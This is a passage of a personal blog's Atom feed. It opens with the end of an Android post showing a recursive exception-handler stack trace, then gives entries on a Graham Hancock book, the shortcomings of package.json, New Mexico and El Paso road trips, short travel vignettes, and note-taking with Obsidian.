            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-Java" data-lang="Java"><span style="display:flex;"><span>java.lang.StackOverflowError:
</span></span><span style="display:flex;"><span>      at net.ashishb.androidmusicplayer.util.CustomExceptionHandler.uncaughtException (CustomExceptionHandler.java:20)
</span></span><span style="display:flex;"><span>      at java.lang.ThreadGroup.uncaughtException (ThreadGroup.java:1068)
</span></span><span style="display:flex;"><span>      at java.lang.ThreadGroup.uncaughtException (ThreadGroup.java:1063)
</span></span><span style="display:flex;"><span>      at net.ashishb.androidmusicplayer.util.CustomExceptionHandler.uncaughtException (CustomExceptionHandler.java:22)
</span></span><span style="display:flex;"><span>      at org.chromium.base.JavaExceptionReporter.uncaughtException (chromium<span style="color:#719e07">-</span>Monochrome.aab<span style="color:#719e07">-</span>stable<span style="color:#719e07">-</span>484407323:6)
</span></span><span style="display:flex;"><span>      at java.lang.ThreadGroup.uncaughtException (ThreadGroup.java:1068)
</span></span><span style="display:flex;"><span>      at java.lang.ThreadGroup.uncaughtException (ThreadGroup.java:1063)
</span></span><span style="display:flex;"><span>      at net.ashishb.androidmusicplayer.util.CustomExceptionHandler.uncaughtException (CustomExceptionHandler.java:22)
</span></span><span style="display:flex;"><span>      at org.chromium.base.JavaExceptionReporter.uncaughtException (chromium<span style="color:#719e07">-</span>Monochrome.aab<span style="color:#719e07">-</span>stable<span style="color:#719e07">-</span>484407323:6)
</span></span><span style="display:flex;"><span>      at java.lang.ThreadGroup.uncaughtException (ThreadGroup.java:1068)
</span></span><span style="display:flex;"><span>      at java.lang.ThreadGroup.uncaughtException (ThreadGroup.java:1063)
</span></span><span style="display:flex;"><span>      at net.ashishb.androidmusicplayer.util.CustomExceptionHandler.uncaughtException (CustomExceptionHandler.java:22)
</span></span><span style="display:flex;"><span>      at org.chromium.base.JavaExceptionReporter.uncaughtException (chromium<span style="color:#719e07">-</span>Monochrome.aab<span style="color:#719e07">-</span>stable<span style="color:#719e07">-</span>484407323:6)</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/></entry><entry><title type="html">Book summary - Magicians of the God by Graham Hancock</title><link href="https://ashishb.net/book-summary/magicians-of-the-god/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/one-mans-view-of-the-world/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One Man's View of the World by Lee Kuan Yew"/><link href="https://ashishb.net/book-summary/sum-forty-tales-from-the-afterlives/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary of Sum: Forty Tales From The Afterlives"/><link href="https://ashishb.net/book-summary/the-bed-of-procrustes/?utm_source=atom_feed" rel="related" type="text/html" title="The Bed of Procrustes by Nassim Nicholas Taleb"/><link href="https://ashishb.net/book-summary/a-philosophy-of-software-design/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: A philosophy of software design by John K Ousterhout"/><link href="https://ashishb.net/book-summaries/discontented-little-baby-book/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Discontented Little Baby Book by Pamela Douglas"/><id>https://ashishb.net/book-summary/magicians-of-the-god/</id><author><name>Ashish Bhatia</name></author><published>2022-09-03T16:00:46+00:00</published><updated>2022-09-03T16:00:46+00:00</updated><content type="html"><![CDATA[<blockquote>Discover eye-opening theories on ancient civilizations in &ldquo;Magicians of the God.&rdquo; Explore topics like the Younger Dryas, Göbekli Tepe, and ancient pyramids.</blockquote><p>The book   
    
    
<a href="https://amzn.to/3A5kjmM?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Magicians of the God</a> is an interesting thesis around a lost civilization. Wikipedia has a scathing review calling the author, Graham Hancock, a pseudo-historian. However, the book has some insightful ideas.</p>
<ol>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Younger_Dryas_impact_hypothesis?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Younger Dryas Impact Hypothesis</a> has been gaining traction among scientists. There is strong evidence that a comet hit the earth near the modern-day 
<a href="/travel/glacier-national-park/">Glacier National Park</a>, around 10,000 BC. And this comet caused the last Ice-age on earth.</li>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/G%C3%B6bekli_Tepe?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Göbekli Tepe</a> in modern-day Turkey was built around 9500 BC. It still hasn&rsquo;t been fully explored. And questions the current hypothesis around how late the humans started to settle.</li>
<li>The 
<a href="/travel/egypt/">Egyptian pyramids</a> depict the Orion of   
    
    
<a href="https://astronomy.com/news/2021/02/are-the-egyptian-pyramids-aligned-with-the-stars?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">10,000 BC</a>. So, either they were built much earlier or there was something significant of that time to depict it much later.</li>
<li>The dating of inorganic materials like building material relies on the organic material found nearby. Such organic material would be regularly recycled in case of ongoing use of a structure. Therefore, modern-day archeology underestimates how old the pyramids and other similar structures like   
    
    
<a href="https://www.scientificamerican.com/article/long-hidden-pyramid-found-in-indonesia-was-likely-an-ancient-temple/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mount Padang</a> might be.</li>
</ol>
<p>Overall, it is a great book for someone interested in observing how limited our knowledge of the recent past might be.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">5 reasons package.json doesn't scale</title><link href="https://ashishb.net/tech/three-reasons-why-i-cant-stand-package-json/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/social-media-and-burglar-bars/?utm_source=atom_feed" rel="related" type="text/html" title="Social media and burglar bars"/><link href="https://ashishb.net/tech/why-i-prefer-obsidian-for-taking-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Why I prefer Obsidian for taking notes"/><link href="https://ashishb.net/tech/some-thoughts-on-low-code/?utm_source=atom_feed" rel="related" type="text/html" title="Low code"/><link href="https://ashishb.net/tech/dont-buy-google-fi-with-a-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Don't buy Google FI SIM with a phone"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><id>https://ashishb.net/tech/three-reasons-why-i-cant-stand-package-json/</id><author><name>Ashish Bhatia</name></author><published>2022-08-14T04:00:15+00:00</published><updated>2022-08-14T04:00:15+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why package.json is a developer&rsquo;s headache. From no comments to variable duplication, learn what&rsquo;s wrong with this essential Javascript file.</blockquote><p>package.json is the standard package configuration management file used in the Javascript world. To call it terrible is an understatement. Here&rsquo;s why.</p>
<ol>
<li><strong>No comments</strong> - package.json is a JSON file format. JSON format   
    
    
<a href="https://reqbin.com/req/wtvjp1a3/json-comment-example?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">does</a> not support comments by design. So, there is no way to add either precise comments explaining why something is being done in a certain way or design comments explaining the high-level overview of what&rsquo;s going on.</li>
<li><strong>No command dependencies</strong> - Unlike Makefile, there is no way for a command to depend on another command. So, if you decided to create a release without running the command for creating the build first then that&rsquo;s your fault.</li>
<li><strong>Variable duplication</strong> - package.json   
    
    
<a href="https://brianchildress.co/variables-in-package-json/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">supports</a> variables. Except it is convoluted enough that only 15 public packages on GitHub   
    
    
<a href="https://github.com/search?q=%24npm_package_&#43;filename%3Apackage.json&amp;type=code&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">use</a> it. So, hard-coded string literals litter all over the place.</li>
<li><strong>No way to reference other commands properly</strong> - Any sufficiently complicated package.json references npm explicitly. And that&rsquo;s wrong. First, it implicitly assumes that one is using npm, second, it implicitly assumes that the npm one is using is the one that&rsquo;s in the path. Both of these assumptions start to fail once you have a million users using your library.</li>
<li><strong>Stringification</strong> - Like the rest of Javascript, package.json suffers from stringification. While the JSON format supports booleans, integers, strings, arrays, and maps but since no operations are possible, eventually gets stringified.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Driving from Santa Fe to Albuquerque in New Mexico</title><link href="https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Albuquerque to Phoenix"/><link href="https://ashishb.net/travel/santa-fe/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Santa Fe"/><link href="https://ashishb.net/travel/las-cruces-and-el-paso/?utm_source=atom_feed" rel="related" type="text/html" title="A day visit to Las cruces and El Paso"/><link href="https://ashishb.net/travel/lordsburg-new-mexico/?utm_source=atom_feed" rel="related" type="text/html" title="Visiting Shakespeare Ghost town in Lordsburg New Mexico"/><link href="https://ashishb.net/travel/carlsbad-cavern/?utm_source=atom_feed" rel="related" type="text/html" title="A visit to Carlsbad Cavern"/><id>https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/</id><author><name>Ashish Bhatia</name></author><published>2022-08-07T16:00:14+00:00</published><updated>2022-08-07T16:00:14+00:00</updated><content type="html"><![CDATA[<blockquote>Discover enchanting trails, unique hot springs, and historic spots on a road trip from Santa Fe to Albuquerque. A blend of nature and history awaits!</blockquote><p>From 
<a href="/travel/santa-fe/">Santa Fe</a>, we drove to Albuquerque and stopped at quite a few amazing spots on the way.</p>
<p>The first stop was   
    
    
<a href="https://www.nps.gov/band/index.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bandelier National Monument</a>. It&rsquo;s one hour loop. The hike is short, with occasional ladder climbs, and has small caves at the end.</p>
<figure>
    
    <a href="bandalier-national-monument-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="bandalier-national-monument-1-1024x768.jpg"
         alt="A rocky hiking path with ladder climbs leads to small caves, part of a one-hour loop at Bandelier National Monument." width="900"/> </a>
</figure>

<figure>
    
    <a href="bandalier-national-monument-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="bandalier-national-monument-2-1024x768.jpg"
         alt="A cliff dwelling at Bandelier National Monument features ancient stone structures embedded in a rugged rock face, surrounded by lush vegetation under a clear blue sky." width="900"/> </a>
</figure>

<p>Next, we headed to the   
    
    
<a href="https://www.fs.usda.gov/recarea/santafe/recarea/?recid=75826&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Spence Hot Springs</a>. It&rsquo;s open to the public and free. The hike is a bit involved with a fair bit of a climb. Unfortunately, it was a complete disappointment. The pool was small. The water wasn&rsquo;t very warm except inside a small cave where it all came from. I would recommend skipping it.</p>
<figure>
    
    <a href="spence-hot-springs-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="spence-hot-springs-768x1024.jpg"
         alt="Spence Hot Springs" width="900"/> </a>
</figure>

<p>Then we headed to the second hot spring in the vicinity,   
    
    
<a href="https://www.fs.usda.gov/recarea/santafe/recarea/?recid=83050&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">McCauley Hot Springs</a>. It&rsquo;s a 7-mile round trip gorgeous hike. The springs look gorgeous but the water was even colder. Second disappointment of the day.</p>
<figure>
    
    <a href="McCauly-hot-springs-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="McCauly-hot-springs-1024x768.jpg"
         alt="A scenic landscape features a natural hot spring surrounded by lush greenery, with clear sky above" width="900"/> </a>
</figure>

<p>Finally, we decided to stop at   
    
    
<a href="https://www.atlasobscura.com/places/jemez-springs-soda-dam?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Soda dam</a> for the photos and that&rsquo;s where we found the best hot springs in the area, Soda Springs. It is very easily accessible, and it is warm and next to a cold waterfall. I would highly recommend spending at least an hour here. Do note that this is the same water that goes downstream to Jemez Hot Springs that charges 25$ an hour.</p>
<figure>
    
    <a href="Soda-dam-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Soda-dam-1024x768.jpg"
         alt="A natural rock formation serves as a dam for a body of water" width="900"/> </a>
</figure>

<figure>
    
    <a href="Soda-hot-springs-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Soda-hot-springs-1024x768.jpg"
         alt="A natural rock formation with cascading water, from a hot spring, surrounded by rugged landscape" width="900"/> </a>
</figure>

<p>Eventually, we reached 
<a href="/travel/driving-from-albuquerque-to-phoenix/">Albuquerque</a>. There are a few small things we wanted to do here. Like checking out the first office of Microsoft. Few know that Microsoft started in the unassuming city of Albuquerque before moving to 
<a href="/travel/seattle/">Seattle</a>.</p>
<figure>
    
    <a href="Albuquerque-Microsoft-office-site-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Albuquerque-Microsoft-office-site-1024x768.jpg"
         alt="An old building in Albuquerque, once a location for Microsoft, with aged brick walls and overgrown vegetation, illustrating its historical significance in the company&#39;s early history." width="905"/> </a>
</figure>

<figure>
    
    <a href="Albuquerque-old-town-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Albuquerque-old-town-1024x768.jpg"
         alt="Albuquerque Old Town" width="905"/> </a>
</figure>

<p>One shop I would recommend checking out in Albuquerque is   
    
    
<a href="https://www.abq-kids.com/i-scream-ice-cream/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">I scream ice cream</a>.</p>
<figure>
    
    <a href="Albuquerque-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Albuquerque-2-1024x768.jpg"
         alt="An ice cream parlor named &#39;I Scream Ice Cream&#39; in Albuquerque with a vibrant, inviting storefront featuring colorful signage and decor." width="905"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/hiking" term="hiking" label="hiking"/><category scheme="https://ashishb.net/tag/new-mexico" term="new-mexico" label="new-mexico"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Souvenir Clothing</title><link href="https://ashishb.net/short-stories/souvenir-clothing/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/crowded-or-popular-exclusive-or-deserted/?utm_source=atom_feed" rel="related" type="text/html" title="Crowded or Popular? Exclusive or deserted?"/><link href="https://ashishb.net/travel/air-india/?utm_source=atom_feed" rel="related" type="text/html" title="A surprisingly positive experience with Air India"/><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="related" type="text/html" title="Unhospitable Airports"/><link href="https://ashishb.net/short-stories/bloody-banana-bread/?utm_source=atom_feed" rel="related" type="text/html" title="Bloody Banana Bread"/><link href="https://ashishb.net/travel/hotels-vs-airbnb-vs-hostels/?utm_source=atom_feed" rel="related" type="text/html" title="Hotels vs Airbnb vs Hostels"/><id>https://ashishb.net/short-stories/souvenir-clothing/</id><author><name>Ashish Bhatia</name></author><published>2022-08-06T23:00:50+00:00</published><updated>2022-08-06T23:00:50+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the travel secret behind souvenir clothing. Learn why these items aren&rsquo;t just keepsakes but signals of a seasoned traveler, setting the stage for your next adventure.</blockquote><p>I stared at the clothing in the souvenir shop. &ldquo;
<a href="/travel/cancun-mexico/">Cancún</a>&rdquo; is written on the cap. &ldquo;Cancún&rdquo; is written on the chest. Cancún written on the derrière. In myriad fonts and sizes. I wondered who buys all these souvenirs. I have occasionally purchased souvenir clothing in the past. But it is usually lower quality, overpriced, and seems to give a garish look. Then this guy steps into the shop.</p>
<p>Fit look. About the same height as me. He was neither a testosterone pit nor a typical gringo with a pouch. White t-shirt. Kakhi shorts. And a cap saying &ldquo;Sint Maarten&rdquo;. I got my answer. Souvenir clothing is never meant to be worn back home but at your next exotic destination. It shows you are a regular traveler. And might even be a nice conversation starter.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/travel" term="travel" label="travel"/></entry><entry><title type="html">Crowded or Popular? Exclusive or deserted?</title><link href="https://ashishb.net/short-stories/crowded-or-popular-exclusive-or-deserted/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/short-stories/souvenir-clothing/?utm_source=atom_feed" rel="related" type="text/html" title="Souvenir Clothing"/><link href="https://ashishb.net/travel/air-india/?utm_source=atom_feed" rel="related" type="text/html" title="A surprisingly positive experience with Air India"/><link href="https://ashishb.net/short-stories/unhospitable-airports/?utm_source=atom_feed" rel="related" type="text/html" title="Unhospitable Airports"/><link href="https://ashishb.net/short-stories/bloody-banana-bread/?utm_source=atom_feed" rel="related" type="text/html" title="Bloody Banana Bread"/><link href="https://ashishb.net/travel/hotels-vs-airbnb-vs-hostels/?utm_source=atom_feed" rel="related" type="text/html" title="Hotels vs Airbnb vs Hostels"/><id>https://ashishb.net/short-stories/crowded-or-popular-exclusive-or-deserted/</id><author><name>Ashish Bhatia</name></author><published>2022-07-18T05:37:56+00:00</published><updated>2022-07-18T05:37:56+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why travel destinations are labeled by expense and tourists. Learn how perceptions change with cost in this insightful exploration.</blockquote><p>An expensive place full of tourists is considered a popular destination. While an inexpensive place full of tourists will be called a crowded one.</p>
<p>An expensive place lacking tourists is termed an exclusive destination. While an inexpensive place lacking tourists is considered deserted.</p>
<p>It is never about other tourists, it is always about how much you spent.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/travel" term="travel" label="travel"/></entry><entry><title type="html">Why I prefer Obsidian for taking notes</title><link href="https://ashishb.net/tech/why-i-prefer-obsidian-for-taking-notes/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/social-media-and-burglar-bars/?utm_source=atom_feed" rel="related" type="text/html" title="Social media and burglar bars"/><link href="https://ashishb.net/tech/three-reasons-why-i-cant-stand-package-json/?utm_source=atom_feed" rel="related" type="text/html" title="5 reasons package.json doesn't scale"/><link href="https://ashishb.net/tech/some-thoughts-on-low-code/?utm_source=atom_feed" rel="related" type="text/html" title="Low code"/><link href="https://ashishb.net/tech/dont-buy-google-fi-with-a-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Don't buy Google FI SIM with a phone"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><id>https://ashishb.net/tech/why-i-prefer-obsidian-for-taking-notes/</id><author><name>Ashish Bhatia</name></author><published>2022-07-16T16:00:16+00:00</published><updated>2022-07-16T16:00:16+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why Obsidian is the ultimate note-taking solution! Secure your notes with Markdown simplicity and ensure long-term access without proprietary limitations.</blockquote><p>I started using   
    
    
<a href="https://en.wikipedia.org/wiki/Google_Notebook?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google Notebook</a> around 2008. Once I received a notice that it will shut down, I switched to Evernote around 2012. Unlike Google, note-taking is the central business of Evernote, I thought I would be fine. I was wrong. Evernote became terrible over time. Then I heard about a service called Notion. I deliberated and decided to wait out. Turns out a new cool kid on the block showed up soon enough. It was called Roam Research. They had such an enthusiastic fan following that they decided   
    
    
<a href="https://www.reddit.com/r/RoamResearch/comments/h00ewj/the_gates_of_roam_are_open_company_update_pricing/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">not</a> to even have a freemium model. I was tired of moving notes from one proprietary system to another. And decided not to use either Notion or Roam research.</p>
<p>Finally, in 2020, I came across   
    
    
<a href="https://obsidian.md/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Obsidian</a> and decided to make the move. Obsidian is a simple Markdown-based note-taking application. The best thing is that it does not store your notes. You can store your notes on your favorite cloud provider. And if Obsidian ever shuts down, your notes are not only readable in a plain-text editor, but also can be modified/viewed by a gazillion other Markdown editors. Obsidian isn&rsquo;t as fancy as Notion with dynamic views or anything like that. But it gets the job done. And I can be certain that my notes will be accessible for decades to come.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">A day at Santa Fe</title><link href="https://ashishb.net/travel/santa-fe/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Albuquerque to Phoenix"/><link href="https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Santa Fe to Albuquerque in New Mexico"/><link href="https://ashishb.net/travel/las-cruces-and-el-paso/?utm_source=atom_feed" rel="related" type="text/html" title="A day visit to Las cruces and El Paso"/><link href="https://ashishb.net/travel/lordsburg-new-mexico/?utm_source=atom_feed" rel="related" type="text/html" title="Visiting Shakespeare Ghost town in Lordsburg New Mexico"/><link href="https://ashishb.net/travel/carlsbad-cavern/?utm_source=atom_feed" rel="related" type="text/html" title="A visit to Carlsbad Cavern"/><id>https://ashishb.net/travel/santa-fe/</id><author><name>Ashish Bhatia</name></author><published>2022-07-01T18:39:13+00:00</published><updated>2022-07-01T18:39:13+00:00</updated><content type="html"><![CDATA[<blockquote>A travel guide to Santa Fe, New Mexico. Explore the beautiful landscapes and unique culture of this historic city.</blockquote><p>Continuing the drive from 
<a href="/travel/carlsbad-cavern/">Carlsbad</a>, New Mexico, we drove to Santa Fe.
There isn&rsquo;t much to do in Santa Fe.
The drive is perfect.
And the 
<a href="/travel/driving-from-santa-fe-to-albuquerque/">drive to Albuquerque</a> is full of great hikes.</p>
<figure>
    
    <a href="oil-field-new-mexico-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="oil-field-new-mexico-1-1024x768.jpg"
         alt="A distant view of a tornado in an open field" width="900"/> </a>
</figure>

<figure>
    
    <a href="tornado-from-a-distance-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tornado-from-a-distance-1024x768.jpg"
         alt="A distant view of a tornado forms under a cloudy sky, set against a flat landscape, illustrating severe weather conditions." width="900"/> </a>
</figure>

<figure>
    
    <a href="santa-fe-annapurna-great-cafe-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="santa-fe-annapurna-great-cafe-1024x768.jpg"
         alt="Annapurna Cafe" width="900"/> </a>
</figure>

<figure>
    
    <a href="santa-fe-downtown-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="santa-fe-downtown-1-768x1024.jpg"
         alt="A vibrant street scene in Santa Fe, featuring a historic adobe building with wooden trim and a wooden balcony, lined with colorful hanging flowers and bustling with pedestrians." width="900"/> </a>
</figure>

<figure>
    
    <a href="santa-fe-downtown-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="santa-fe-downtown-2-1024x768.jpg"
         alt="A downtown street scene with buildings and pedestrians in Santa Fe, highlighting local architecture and urban life" width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/new-mexico" term="new-mexico" label="new-mexico"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">A day visit to Las cruces and El Paso</title><link href="https://ashishb.net/travel/las-cruces-and-el-paso/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/driving-from-albuquerque-to-phoenix/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Albuquerque to Phoenix"/><link href="https://ashishb.net/travel/driving-from-santa-fe-to-albuquerque/?utm_source=atom_feed" rel="related" type="text/html" title="Driving from Santa Fe to Albuquerque in New Mexico"/><link href="https://ashishb.net/travel/santa-fe/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Santa Fe"/><link href="https://ashishb.net/travel/lordsburg-new-mexico/?utm_source=atom_feed" rel="related" type="text/html" title="Visiting Shakespeare Ghost town in Lordsburg New Mexico"/><link href="https://ashishb.net/travel/carlsbad-cavern/?utm_source=atom_feed" rel="related" type="text/html" title="A visit to Carlsbad Cavern"/><id>https://ashishb.net/travel/las-cruces-and-el-paso/</id><author><name>Ashish Bhatia</name></author><published>2022-06-14T07:52:24+00:00</published><updated>2022-06-14T07:52:24+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the vibrant blend of history and culture as you journey from Las Cruces, NM to El Paso, TX. Discover scenic views and local culinary gems!</blockquote><p>Continuing the journey from 
<a href="/travel/lordsburg-new-mexico/">Shakespeare ghost town</a>, we visited Las Cruces (&ldquo;The Crosses&rdquo;),
New Mexico, and El Paso, Texas. El Paso is a border town and for foreigners,
I would recommend carrying a US visa or green card as there are temporary CBP checkpoints set up in its vicinity.</p>
<figure>
    
    <a href="majestic-view-las-cruces-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="majestic-view-las-cruces-1024x768.jpg"
         alt="A picturesque landscapes near Las Cruces with sprawling fields and mountainous backdrops" width="900"/> </a>
</figure>

<figure>
    
    <a href="somewhere-near-las-cruces-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="somewhere-near-las-cruces-1024x768.jpg"
         alt="Las Cruces, New Mexico" width="900"/> </a>
</figure>

<figure>
    
    <a href="recycled-road-runner-las-cruces-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="recycled-road-runner-las-cruces-1024x768.jpg"
         alt="A large sculpture of a roadrunner created from recycled materials, located near Las Cruces, New Mexico, stands prominently against a desert landscape backdrop." width="900"/> </a>
</figure>

<figure>
    
    <a href="big-chilli-inn-las-cruces-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="big-chilli-inn-las-cruces-1024x768.jpg"
         alt="Big Chilli" width="900"/> </a>
</figure>

<p>I wouldn&rsquo;t recommend spending more than a few hours in Las Cruces.
If you are planning to eat then do check out the town/pueblo of Mesilla next to Las Cruces before leaving.
Our next stop was El Paso, Texas. Right across the Rio Grande is the Mexican city of Juárez.</p>
<figure>
    
    <a href="el-paso-2-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-paso-2-1024x768.jpg"
         alt="A view of El Paso, Texas, with mountains in the background" width="900"/> </a>
</figure>

<figure>
    
    <a href="el-paso-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="el-paso-1-1024x768.jpg"
         alt="An aerial view of a cityscape with numerous buildings, roads, and sparse greenery" width="900"/> </a>
</figure>

